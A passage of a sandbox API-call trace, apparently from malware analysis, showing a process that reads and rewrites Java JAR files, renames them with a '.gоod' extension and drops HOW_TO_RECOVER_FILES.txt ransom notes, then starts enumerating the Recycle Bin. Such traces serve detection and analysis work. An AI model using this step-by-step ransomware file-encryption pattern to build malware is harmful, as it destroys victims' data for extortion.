(dwNewMode=0x1, lpOldMode=0x1f49bb60) returned 1 [0114.191] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), fInfoLevelId=0x0, lpFileInformation=0x1f49bc40 | out: lpFileInformation=0x1f49bc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x40464807, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7fcb)) returned 1 [0114.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb20) returned 1 [0114.191] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.gоod")) returned 1 [0114.192] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar", lpFilePart=0x0) returned 0x38 [0114.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bba0) returned 1 [0114.192] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), fInfoLevelId=0x0, lpFileInformation=0x36923c0 | out: lpFileInformation=0x36923c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3d5bf)) returned 1 [0114.977] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb60) returned 1 [0114.977] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar", lpFilePart=0x0) returned 0x38 [0114.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0114.978] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0114.978] GetFileType (hFile=0x6e0) returned 0x1 [0114.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0114.978] GetFileType (hFile=0x6e0) returned 0x1 [0114.978] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x1000 [0114.978] ReadFile (in: hFile=0x6e0, lpBuffer=0x36725b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bbc8, lpOverlapped=0x0 | out: lpBuffer=0x36725b8*, lpNumberOfBytesRead=0x1f49bbc8*=0x1000, lpOverlapped=0x0) returned 1 [0114.979] CloseHandle (hObject=0x6e0) returned 1 [0114.979] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar", lpFilePart=0x0) returned 0x38 [0114.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0114.979] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0114.980] GetFileType (hFile=0x6e0) returned 0x1 [0114.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0114.980] GetFileType (hFile=0x6e0) returned 0x1 [0114.980] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x3d5bf [0114.980] WriteFile (in: hFile=0x6e0, lpBuffer=0x3673838*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49bae8, lpOverlapped=0x0 | out: lpBuffer=0x3673838*, lpNumberOfBytesWritten=0x1f49bae8*=0x10, lpOverlapped=0x0) returned 1 [0114.980] CloseHandle (hObject=0x6e0) returned 1 [0114.981] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar", lpFilePart=0x0) returned 0x38 [0114.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0114.981] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0114.981] GetFileType (hFile=0x6e0) returned 0x1 [0114.981] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0114.981] GetFileType (hFile=0x6e0) returned 0x1 [0114.981] ReadFile (in: hFile=0x6e0, lpBuffer=0x3675ae0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bb78, lpOverlapped=0x0 | out: lpBuffer=0x3675ae0*, lpNumberOfBytesRead=0x1f49bb78*=0x1000, lpOverlapped=0x0) returned 1 [0115.177] CloseHandle (hObject=0x6e0) returned 1 [0115.177] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar", lpFilePart=0x0) returned 0x38 [0115.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0115.177] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0115.178] GetFileType (hFile=0x6e0) returned 0x1 [0115.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0115.178] GetFileType (hFile=0x6e0) returned 0x1 [0115.178] WriteFile (in: hFile=0x6e0, lpBuffer=0x34c6838*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49bc28, lpOverlapped=0x0 | out: lpBuffer=0x34c6838*, lpNumberOfBytesWritten=0x1f49bc28*=0x1010, lpOverlapped=0x0) returned 1 [0115.178] CloseHandle (hObject=0x6e0) returned 1 [0115.178] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar", lpFilePart=0x0) returned 0x38 [0115.178] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.gоod", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.gоod", lpFilePart=0x0) returned 0x3d [0115.178] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bb60) returned 1 [0115.178] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), fInfoLevelId=0x0, lpFileInformation=0x1f49bc40 | out: lpFileInformation=0x1f49bc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x40dc7c7f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3d5cf)) returned 1 [0115.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb20) returned 1 [0115.178] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.gоod")) returned 1 [0115.179] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar", lpFilePart=0x0) returned 0x34 [0115.179] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bba0) returned 1 [0115.179] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), fInfoLevelId=0x0, lpFileInformation=0x35182d0 | out: lpFileInformation=0x35182d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10d3c)) returned 1 [0115.179] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb60) returned 1 [0115.179] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar", lpFilePart=0x0) returned 0x34 [0115.179] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0115.179] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0115.180] GetFileType (hFile=0x6e0) returned 0x1 [0115.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0115.180] GetFileType (hFile=0x6e0) returned 0x1 [0115.180] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x1000 [0115.180] ReadFile (in: hFile=0x6e0, lpBuffer=0x3518698, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bbc8, lpOverlapped=0x0 | out: lpBuffer=0x3518698*, lpNumberOfBytesRead=0x1f49bbc8*=0x1000, lpOverlapped=0x0) returned 1 [0115.230] CloseHandle (hObject=0x6e0) returned 1 [0115.230] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar", lpFilePart=0x0) returned 0x34 [0115.230] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0115.230] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0115.230] GetFileType (hFile=0x6e0) returned 0x1 [0115.230] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0115.230] GetFileType (hFile=0x6e0) returned 0x1 [0115.230] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x10d3c [0115.231] WriteFile (in: hFile=0x6e0, lpBuffer=0x3519908*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49bae8, lpOverlapped=0x0 | out: lpBuffer=0x3519908*, lpNumberOfBytesWritten=0x1f49bae8*=0x10, lpOverlapped=0x0) returned 1 [0115.231] CloseHandle (hObject=0x6e0) returned 1 [0115.231] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar", lpFilePart=0x0) returned 0x34 [0115.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0115.232] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0115.232] GetFileType (hFile=0x6e0) returned 0x1 [0115.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0115.232] GetFileType (hFile=0x6e0) returned 0x1 [0115.232] ReadFile (in: hFile=0x6e0, lpBuffer=0x351bba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bb78, lpOverlapped=0x0 | out: lpBuffer=0x351bba0*, lpNumberOfBytesRead=0x1f49bb78*=0x1000, lpOverlapped=0x0) returned 1 [0115.271] CloseHandle (hObject=0x6e0) returned 1 [0115.271] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar", lpFilePart=0x0) returned 0x34 [0115.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0115.271] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0115.271] GetFileType (hFile=0x6e0) returned 0x1 [0115.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0115.271] GetFileType (hFile=0x6e0) returned 0x1 [0115.271] WriteFile (in: hFile=0x6e0, lpBuffer=0x351a920*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49bc28, lpOverlapped=0x0 | out: lpBuffer=0x351a920*, lpNumberOfBytesWritten=0x1f49bc28*=0x1010, lpOverlapped=0x0) returned 1 [0115.271] CloseHandle (hObject=0x6e0) returned 1 [0115.272] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar", lpFilePart=0x0) returned 0x34 [0115.272] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.gоod", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.gоod", lpFilePart=0x0) returned 0x39 [0115.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bb60) returned 1 [0115.272] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), fInfoLevelId=0x0, lpFileInformation=0x1f49bc40 | out: lpFileInformation=0x1f49bc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x40eaca6e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10d4c)) returned 1 [0115.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb20) returned 1 [0115.272] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.gоod")) returned 1 [0115.272] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f49b840, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x43 [0115.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bd60) returned 1 [0115.273] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0116.387] GetFileType (hFile=0x6e0) returned 0x1 [0116.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bcd0) returned 1 [0116.387] GetFileType (hFile=0x6e0) returned 0x1 [0116.387] WriteFile (in: hFile=0x6e0, lpBuffer=0x348d9b8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f49be28, lpOverlapped=0x0 | out: lpBuffer=0x348d9b8*, lpNumberOfBytesWritten=0x1f49be28*=0x5d0, lpOverlapped=0x0) returned 1 [0116.388] CloseHandle (hObject=0x6e0) returned 1 [0118.658] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f49c270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3f [0118.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c790) returned 1 [0118.658] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7ec [0118.658] GetFileType (hFile=0x7ec) returned 0x1 [0118.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c700) returned 1 [0118.658] GetFileType (hFile=0x7ec) returned 0x1 [0118.659] WriteFile (in: hFile=0x7ec, lpBuffer=0x343fe68*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f49c858, lpOverlapped=0x0 | out: lpBuffer=0x343fe68*, lpNumberOfBytesWritten=0x1f49c858*=0x5d0, lpOverlapped=0x0) returned 1 [0118.660] CloseHandle (hObject=0x7ec) returned 1 [0118.660] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f49cca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3b [0118.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49d1c0) returned 1 [0118.660] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7ec [0118.661] GetFileType (hFile=0x7ec) returned 0x1 [0118.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49d130) returned 1 [0118.661] GetFileType (hFile=0x7ec) returned 0x1 [0118.661] WriteFile (in: hFile=0x7ec, lpBuffer=0x3443658*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f49d288, lpOverlapped=0x0 | out: lpBuffer=0x3443658*, lpNumberOfBytesWritten=0x1f49d288*=0x5d0, lpOverlapped=0x0) returned 1 [0118.662] CloseHandle (hObject=0x7ec) returned 1 [0118.662] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f49d6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x2e [0118.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49dbf0) returned 1 [0118.662] CreateFileW (lpFileName="C:\\Program Files\\Java\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\java\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7ec [0118.663] GetFileType (hFile=0x7ec) returned 0x1 [0118.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49db60) returned 1 [0118.663] GetFileType (hFile=0x7ec) returned 0x1 [0118.663] WriteFile (in: hFile=0x7ec, lpBuffer=0x3446e18*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f49dcb8, lpOverlapped=0x0 | out: lpBuffer=0x3446e18*, lpNumberOfBytesWritten=0x1f49dcb8*=0x5d0, lpOverlapped=0x0) returned 1 [0118.665] CloseHandle (hObject=0x7ec) returned 1 Thread: id = 141 os_tid = 0xdd8 [0068.058] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0068.058] CoGetContextToken (in: pToken=0x1f59f8c0 | out: pToken=0x1f59f8c0) returned 0x0 [0068.058] IUnknown:QueryInterface (in: This=0x12e64d0, riid=0x7ff9122eadf8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1f59f8f8 | out: ppvObject=0x1f59f8f8*=0x12e64e8) returned 0x0 [0068.058] IComThreadingInfo:GetCurrentThreadType (in: This=0x12e64e8, pThreadType=0x1f59f968 | out: pThreadType=0x1f59f968*=0) returned 0x0 [0068.058] IUnknown:Release (This=0x12e64e8) returned 0x0 [0068.058] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0068.058] CoUninitialize () [0068.058] RoInitialize () returned 0x1 [0068.058] RoUninitialize () returned 0x0 [0068.059] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.157] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.227] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.259] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.346] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.370] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.407] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.461] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.504] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.535] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.562] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.594] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.601] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0068.821] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin", lpFilePart=0x0) returned 0xf [0068.821] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0068.821] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", 